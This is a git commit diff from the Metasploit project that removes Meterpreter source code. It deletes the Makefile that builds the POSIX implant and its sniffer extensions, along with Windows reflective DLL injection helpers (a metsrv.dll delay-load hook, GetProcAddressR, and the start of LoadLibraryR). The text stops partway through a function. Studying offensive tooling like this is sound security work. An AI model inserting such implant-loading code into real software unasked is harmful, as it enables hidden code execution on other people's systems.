Land #1946, remove Meterpreter source
commit
beb73e5bb0
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@ -1,156 +0,0 @@
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# PKS, I suck at Makefile's. Given that this compiles POSIX meterpreter and
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# associated stuff (openssl, libpcap, etc) this is going to get very messy,
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# very quickly.
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objects = external/source/meterpreter/source/bionic/compiled/libc.so
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objects += external/source/meterpreter/source/bionic/compiled/libm.so
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objects += external/source/meterpreter/source/bionic/compiled/libdl.so
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objects += external/source/meterpreter/source/bionic/compiled/libcrypto.so
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objects += external/source/meterpreter/source/bionic/compiled/libssl.so
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objects += external/source/meterpreter/source/bionic/compiled/libsupport.so
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objects += external/source/meterpreter/source/bionic/compiled/libmetsrv_main.so
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objects += external/source/meterpreter/source/bionic/compiled/libpcap.so
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objects += data/meterpreter/msflinker_linux_x86.bin
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objects += data/meterpreter/ext_server_stdapi.lso
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objects += data/meterpreter/ext_server_sniffer.lso
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objects += data/meterpreter/ext_server_networkpug.lso
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BIONIC=$(PWD)/external/source/meterpreter/source/bionic
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LIBC=$(BIONIC)/libc
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LIBM=$(BIONIC)/libm
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COMPILED=$(BIONIC)/compiled
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PCAP_CFLAGS = -march=i386 -m32 -Wl,--hash-style=sysv -fno-stack-protector -nostdinc -nostdlib -fPIC -DPIC -g -Wall -D_UNIX -D__linux__ -I$(LIBC)/include -I$(LIBC)/kernel/common/linux/ -I$(LIBC)/kernel/common/ -I$(LIBC)/arch-x86/include/ -I$(LIBC)/kernel/arch-x86/ -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t" -D_BYTE_ORDER=_LITTLE_ENDIAN -lgcc -L$(COMPILED) -fPIC -Os -lc
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OSSL_CFLAGS=-Os -Wl,--hash-style=sysv -march=i386 -m32 -nostdinc -nostdlib -fno-builtin -fpic -I $(LIBC)/include -I $(LIBC)/kernel/common/linux/ -I $(LIBC)/kernel/common/ -I $(LIBC)/arch-x86/include/ -I $(LIBC)/kernel/arch-x86/ -I$(LIBC)/private -I$(LIBM)/include -DPIC -Dwchar_t='char' -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -D_BYTE_ORDER=_LITTLE_ENDIAN -L$(COMPILED) -lc
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workspace = external/source/meterpreter/workspace
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all: $(objects)
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debug: DEBUG=true
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# I'm 99% sure this is the wrong way to do this
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debug: MAKE += debug
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debug: all
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external/source/meterpreter/source/bionic/compiled/libc.so: external/source/meterpreter/source/bionic/compiled
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(cd external/source/meterpreter/source/bionic/libc && ARCH=x86 TOP=${PWD} jam && cd out/x86/ && sh make.sh && [ -f libbionic.so ] )
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cp external/source/meterpreter/source/bionic/libc/out/x86/libbionic.so external/source/meterpreter/source/bionic/compiled/libc.so
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external/source/meterpreter/source/bionic/compiled:
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mkdir external/source/meterpreter/source/bionic/compiled/
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external/source/meterpreter/source/bionic/compiled/libm.so:
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$(MAKE) -C $(LIBM) -f msfMakefile && [ -f $(LIBM)/libm.so ]
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cp $(LIBM)/libm.so $(COMPILED)/libm.so
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external/source/meterpreter/source/bionic/compiled/libdl.so:
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$(MAKE) -C $(BIONIC)/libdl && [ -f $(BIONIC)/libdl/libdl.so ]
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cp $(BIONIC)/libdl/libdl.so $(COMPILED)/libdl.so
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external/source/meterpreter/source/bionic/compiled/libcrypto.so: tmp/openssl-0.9.8o/libssl.so
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cp tmp/openssl-0.9.8o/libcrypto.so external/source/meterpreter/source/bionic/compiled/libcrypto.so
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external/source/meterpreter/source/bionic/compiled/libssl.so: tmp/openssl-0.9.8o/libssl.so
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cp tmp/openssl-0.9.8o/libssl.so external/source/meterpreter/source/bionic/compiled/libssl.so
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tmp/openssl-0.9.8o/libssl.so:
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[ -d tmp ] || mkdir tmp
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[ -d tmp/openssl-0.9.8o ] || wget -O tmp/openssl-0.9.8o.tar.gz http://openssl.org/source/openssl-0.9.8o.tar.gz
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[ -f tmp/openssl-0.9.8o/Configure ] || tar -C tmp/ -xzf tmp/openssl-0.9.8o.tar.gz
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(cd tmp/openssl-0.9.8o && \
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cat Configure | grep -v 'linux-msf' | \
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sed -e 's#my %table=(#my %table=( \
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"linux-msf", "gcc:$(OSSL_CFLAGS) -DL_ENDIAN -DTERMIO -Wall::$(OSSL_CFLAGS) -D_REENTRANT::$(OSSL_CFLAGS) -ldl:BN_LLONG $${x86_gcc_des} $${x86_gcc_opts}:$${x86_elf_asm}:dlfcn:linux-shared:$(OSSL_CFLAGS) -fPIC::.so.\\$$\\$$(SHLIB_MAJOR).\\$$\\$$(SHLIB_MINOR)",\
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#;' > Configure-msf;\
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cp Configure-msf Configure && chmod +x Configure && \
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grep linux-msf Configure && \
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./Configure --prefix=/tmp/out threads shared no-hw no-dlfcn no-zlib no-krb5 no-idea 386 linux-msf \
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)
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(cd tmp/openssl-0.9.8o && make depend all ; [ -f libssl.so.0.9.8 -a -f libcrypto.so.0.9.8 ] )
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mkdir -p external/source/meterpreter/source/openssl/lib/linux/i386/
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cp tmp/openssl-0.9.8o/libssl.so* tmp/openssl-0.9.8o/libcrypto.so* external/source/meterpreter/source/openssl/lib/linux/i386/
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external/source/meterpreter/source/bionic/compiled/libpcap.so: tmp/libpcap-1.1.1/libpcap.so.1.1.1
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cp tmp/libpcap-1.1.1/libpcap.so.1.1.1 external/source/meterpreter/source/bionic/compiled/libpcap.so
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tmp/libpcap-1.1.1/libpcap.so.1.1.1:
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[ -d tmp ] || mkdir tmp
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[ -f tmp/libpcap-1.1.1.tar.gz ] || wget -O tmp/libpcap-1.1.1.tar.gz http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz
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[ -f tmp/libpcap-1.1.1/configure ] || tar -C tmp -xzf tmp/libpcap-1.1.1.tar.gz
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(cd tmp/libpcap-1.1.1 && ./configure --disable-bluetooth --without-bluetooth --without-usb --disable-usb --without-can --disable-can --without-usb-linux --disable-usb-linux --without-libnl)
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echo '#undef HAVE_DECL_ETHER_HOSTTON' >> tmp/libpcap-1.1.1/config.h
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echo '#undef HAVE_SYS_BITYPES_H' >> tmp/libpcap-1.1.1/config.h
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echo '#undef PCAP_SUPPORT_CAN' >> tmp/libpcap-1.1.1/config.h
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echo '#undef PCAP_SUPPORT_USB' >> tmp/libpcap-1.1.1/config.h
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echo '#undef HAVE_ETHER_HOSTTON' >> tmp/libpcap-1.1.1/config.h
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echo '#define _STDLIB_H this_works_around_malloc_definition_in_grammar_dot_c' >> tmp/libpcap-1.1.1/config.h
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(cd tmp/libpcap-1.1.1 && patch --dry-run -p0 < ../../external/source/meterpreter/source/libpcap/pcap_nametoaddr_fix.diff && patch -p0 < ../../external/source/meterpreter/source/libpcap/pcap_nametoaddr_fix.diff)
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sed -i -e s/pcap-usb-linux.c//g -e s/fad-getad.c/fad-gifc.c/g tmp/libpcap-1.1.1/Makefile
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sed -i -e s^"CC = gcc"^"CC = gcc $(PCAP_CFLAGS)"^g tmp/libpcap-1.1.1/Makefile
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make -C tmp/libpcap-1.1.1
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data/meterpreter/msflinker_linux_x86.bin: external/source/meterpreter/source/server/rtld/msflinker.bin
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cp external/source/meterpreter/source/server/rtld/msflinker.bin data/meterpreter/msflinker_linux_x86.bin
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external/source/meterpreter/source/server/rtld/msflinker.bin: external/source/meterpreter/source/bionic/compiled/libc.so
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$(MAKE) -C external/source/meterpreter/source/server/rtld
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$(workspace)/metsrv/libmetsrv_main.so:
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$(MAKE) -C $(workspace)/metsrv
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external/source/meterpreter/source/bionic/compiled/libmetsrv_main.so: $(workspace)/metsrv/libmetsrv_main.so
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cp $(workspace)/metsrv/libmetsrv_main.so external/source/meterpreter/source/bionic/compiled/libmetsrv_main.so
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$(workspace)/common/libsupport.so:
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$(MAKE) -C $(workspace)/common
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external/source/meterpreter/source/bionic/compiled/libsupport.so: $(workspace)/common/libsupport.so
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cp $(workspace)/common/libsupport.so external/source/meterpreter/source/bionic/compiled/libsupport.so
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$(workspace)/ext_server_sniffer/ext_server_sniffer.so:
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$(MAKE) -C $(workspace)/ext_server_sniffer
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data/meterpreter/ext_server_sniffer.lso: $(workspace)/ext_server_sniffer/ext_server_sniffer.so
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cp $(workspace)/ext_server_sniffer/ext_server_sniffer.so data/meterpreter/ext_server_sniffer.lso
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$(workspace)/ext_server_stdapi/ext_server_stdapi.so:
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$(MAKE) -C $(workspace)/ext_server_stdapi
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data/meterpreter/ext_server_stdapi.lso: $(workspace)/ext_server_stdapi/ext_server_stdapi.so
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cp $(workspace)/ext_server_stdapi/ext_server_stdapi.so data/meterpreter/ext_server_stdapi.lso
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$(workspace)/ext_server_networkpug/ext_server_networkpug.so:
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$(MAKE) -C $(workspace)/ext_server_networkpug
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data/meterpreter/ext_server_networkpug.lso: $(workspace)/ext_server_networkpug/ext_server_networkpug.so
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cp $(workspace)/ext_server_networkpug/ext_server_networkpug.so data/meterpreter/ext_server_networkpug.lso
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clean:
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rm -f $(objects)
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(cd external/source/meterpreter/source/server/rtld/ && make clean)
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(cd $(workspace) && make clean)
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depclean:
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rm -f external/source/meterpreter/source/bionic/lib*/*.o
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find external/source/meterpreter/source/bionic/ -name '*.a' -print0 | xargs -0 rm -f 2>/dev/null
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rm -f external/source/meterpreter/source/bionic/lib*/*.so
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clean-pcap:
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#(cd tmp/libpcap-1.1.1/ && make clean)
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# This avoids the pcap target trying to patch the same file more than once.
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# It's a pretty small tar, so untar'ing goes pretty quickly anyway, in
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# contrast to openssl.
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rm -r tmp/libpcap-1.1.1 || true
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clean-ssl:
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(cd tmp/openssl-0.9.8o/ && make clean)
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really-clean: clean clean-ssl clean-pcap depclean
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.PHONY: clean clean-ssl clean-pcap really-clean debug
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@ -0,0 +1,2 @@
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Meterpreter source code has moved to its own repository, hosted at
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https://github.com/rapid7/meterpreter
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@ -1,74 +0,0 @@
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//===============================================================================================//
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// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
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// All rights reserved.
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//
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// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
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// POSSIBILITY OF SUCH DAMAGE.
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//===============================================================================================//
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#include "DelayLoadMetSrv.h"
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#include "GetProcAddressR.h"
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// The handle to the injected metsrv.dll, needed for delay loading...
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HMODULE hMetSrv = NULL;
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// All server extensions must support delay loading of metsrv.dll because this dll can be injected
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// via reflective dll injection, as such normal calls to LoadLibrary/GetModuleHandle/GetProcAddress
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// to resolve exports in metsrv.dll will not work as metsrv.dll will be 'invisible' to the native
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// windows kernel32 api's. Theirfore we delay load metsrv.dll and intercept loading and resolving of
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// its exports and resolve them using our own GetProcAddressR() function.
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//
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// To enable all of this in a new extnesion:
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// 1. Add metsrv.dll to the DELAYLOAD option in the projects properties (Configuration->Linker->Input).
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// 2. Add in the include file #include "DelayLoadMetSrv.h".
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// 3. Add the macro "EnableDelayLoadMetSrv();" after all your includes.
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// 4. Add the line "hMetSrv = remote->hMetSrv;" in your InitServerExtension() function.
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//===============================================================================================//
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FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli )
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{
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switch( dliNotify )
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{
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case dliNotePreLoadLibrary:
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// If we are trying to delay load metsrv.dll we can just return the
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// HMODULE of the injected metsrv library (set in InitServerExtension).
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if( strcmp( pdli->szDll, "metsrv.dll" ) == 0 )
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return (FARPROC)hMetSrv;
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break;
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case dliNotePreGetProcAddress:
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// If we are trying to get the address of an exported function in the
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// metsrv.dll we must use GetProcAddressR() in case the metsrv was loaded
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// via reflective dll injection
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if( strcmp( pdli->szDll, "metsrv.dll" ) == 0 )
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return GetProcAddressR( pdli->hmodCur, pdli->dlp.szProcName );
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break;
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default:
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return NULL;
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||||
}
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||||
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return NULL;
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||||
}
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||||
//===============================================================================================//
|
|
@ -1,46 +0,0 @@
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//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_DELAYLOADMETSRV_H
|
||||
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_DELAYLOADMETSRV_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <Delayimp.h>
|
||||
|
||||
#pragma comment (lib,"Delayimp.lib")
|
||||
|
||||
// we use this like a macro to set the hook in an server extension that requires it
|
||||
#define EnableDelayLoadMetSrv() PfnDliHook __pfnDliNotifyHook2 = delayHook; // set our delay loader hook, see DelayLoadMetSrv.c
|
||||
|
||||
extern HMODULE hMetSrv;
|
||||
|
||||
FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli );
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -1,116 +0,0 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "GetProcAddressR.h"
|
||||
//===============================================================================================//
|
||||
// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which
|
||||
// wont be able to resolve exported addresses in reflectivly loaded librarys.
|
||||
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
|
||||
{
|
||||
UINT_PTR uiLibraryAddress = 0;
|
||||
FARPROC fpResult = NULL;
|
||||
|
||||
if( hModule == NULL )
|
||||
return NULL;
|
||||
|
||||
// a module handle is really its base address
|
||||
uiLibraryAddress = (UINT_PTR)hModule;
|
||||
|
||||
__try
|
||||
{
|
||||
UINT_PTR uiAddressArray = 0;
|
||||
UINT_PTR uiNameArray = 0;
|
||||
UINT_PTR uiNameOrdinals = 0;
|
||||
PIMAGE_NT_HEADERS pNtHeaders = NULL;
|
||||
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
|
||||
|
||||
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );
|
||||
|
||||
// test if we are importing by name or by ordinal...
|
||||
if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )
|
||||
{
|
||||
// import by ordinal...
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );
|
||||
|
||||
// resolve the address for this imported function
|
||||
fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
||||
}
|
||||
else
|
||||
{
|
||||
// import by name...
|
||||
DWORD dwCounter = pExportDirectory->NumberOfNames;
|
||||
while( dwCounter-- )
|
||||
{
|
||||
char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));
|
||||
|
||||
// test if we have a match...
|
||||
if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )
|
||||
{
|
||||
// use the functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// calculate the virtual address for the function
|
||||
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));
|
||||
|
||||
// finish...
|
||||
break;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
fpResult = NULL;
|
||||
}
|
||||
|
||||
return fpResult;
|
||||
}
|
||||
//===============================================================================================//
|
|
@ -1,36 +0,0 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
|
||||
#define _METERPRETER_SOURCE_REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName );
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -1,232 +0,0 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "LoadLibraryR.h"
|
||||
//===============================================================================================//
|
||||
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
|
||||
{
|
||||
WORD wIndex = 0;
|
||||
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
|
||||
PIMAGE_NT_HEADERS pNtHeaders = NULL;
|
||||
|
||||
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
|
||||
|
||||
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
if( dwRva < pSectionHeader[0].PointerToRawData )
|
||||
return dwRva;
|
||||
|
||||
for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
|
||||
{
|
||||
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
|
||||
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
//===============================================================================================//
|
||||
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
|
||||
{
|
||||
UINT_PTR uiBaseAddress = 0;
|
||||
UINT_PTR uiExportDir = 0;
|
||||
UINT_PTR uiNameArray = 0;
|
||||
UINT_PTR uiAddressArray = 0;
|
||||
UINT_PTR uiNameOrdinals = 0;
|
||||
DWORD dwCounter = 0;
|
||||
#ifdef _WIN64
|
||||
DWORD dwMeterpreterArch = 2;
|
||||
#else
|
||||
DWORD dwMeterpreterArch = 1;
|
||||
#endif
|
||||
|
||||
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
|
||||
|
||||
// get the File Offset of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// currenlty we can only process a PE file which is the same type as the one this fuction has
|
||||
// been compiled as, due to various offset in the PE structures being defined at compile time.
|
||||
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
|
||||
{
|
||||
if( dwMeterpreterArch != 1 )
|
||||
return 0;
|
||||
}
|
||||
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
|
||||
{
|
||||
if( dwMeterpreterArch != 2 )
|
||||
return 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the File Offset of the export directory
|
||||
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
|
||||
|
||||
// get the File Offset for the array of name pointers
|
||||
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
|
||||
|
||||
// get the File Offset for the array of addresses
|
||||
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
|
||||
|
||||
// get the File Offset for the array of name ordinals
|
||||
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );
|
||||
|
||||
// get a counter for the number of exported functions...
|
||||
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
|
||||
|
||||
// loop through all the exported functions to find the ReflectiveLoader
|
||||
while( dwCounter-- )
|
||||
{
|
||||
